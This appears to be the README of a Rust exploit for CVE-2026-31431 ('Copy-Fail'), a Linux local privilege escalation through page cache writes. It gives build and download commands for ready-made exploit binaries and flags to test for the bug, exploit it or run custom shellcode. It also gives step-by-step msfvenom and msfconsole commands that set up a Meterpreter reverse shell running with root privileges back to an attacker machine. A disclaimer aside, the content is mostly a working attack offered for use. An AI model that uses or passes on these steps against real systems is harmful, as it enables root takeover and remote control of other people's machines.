CVE-2026-31431 - Linux Copy-Fail 漏洞利用 (Rust)
针对 CVE-2026-31431 (Copy-Fail) 漏洞的本地提权 (LPE) 漏洞利用的 Rust 实现。
它允许执行自定义的 shellcode(例如 Meterpreter)。
简介
Xint 披露了 CVE-2026-31431,这是一个任意页缓存写入(arbitrary page cache write)漏洞,它通过将 AF_ALG 和 splice() 链式结合,实现了一个 4 字节的写入原语(write primitive)。
来源:Copy Fail: 732 Bytes to Root on Every Major Linux Distribution
免责声明
本项目的开发是出于我个人研究网络安全的兴趣。然而,它有可能会被滥用于恶意目的。
请不要将此工具用于任何非法活动。
作者对滥用本软件所造成的任何后果概不负责。
致谢
注意:原始项目使用了经过压缩/编码的 shellcode(例如
/bin/sh)。在此实现中,我将其替换为了原始的(未压缩的)/bin/bashshellcode,使其更容易进行自定义,或直接替换为用户提供的 payload。
如何编译
克隆该项目,然后执行 build.sh:
Bash
git clone git@github.com:iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail
cd ./CVE-2026-31431-Linux-Copy-Fail
chmod +x ./build.sh
./build.sh
用法
下载并解压 release 压缩包:
Bash
wget https://github.com/iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail/releases/latest/download/CVE-2026-31431-Linux-Fail.gz
tar -xzf CVE-2026-31431-Linux-Fail.gz
chmod +x CVE-2026-31431-Linux-Copy-Fail_x64
chmod +x CVE-2026-31431-Linux-Copy-Fail_x86
二进制文件提供以下选项:
Bash
./CVE-2026-31431-Linux-Copy-Fail --test
./CVE-2026-31431-Linux-Copy-Fail --exploit
./CVE-2026-31431-Linux-Copy-Fail --bin shellcode.bin
演示
测试漏洞
在存在漏洞的机器上执行:
Bash
./CVE-2026-31431-Linux-Copy-Fail --test
出现 [!] VULNERABLE! 说明目标机器存在该漏洞,(用此命令可以检测出目标机器是否存在漏洞)
漏洞利用
Bash
./CVE-2026-31431-Linux-Copy-Fail --exploit
Meterpreter
使用以下命令(需将 PrependSetUid 设置为 True)来生成 Meterpreter payload:
Bash
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.x lport=4444 -f elf prependsetuid=true > payload.bin
在攻击机(Kali Linux)上执行:
Bash
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.x
set lport 4444
run
在存在漏洞的机器上执行:
./CVE-2026-31431-Linux-Copy-Fail --bin payload.bin

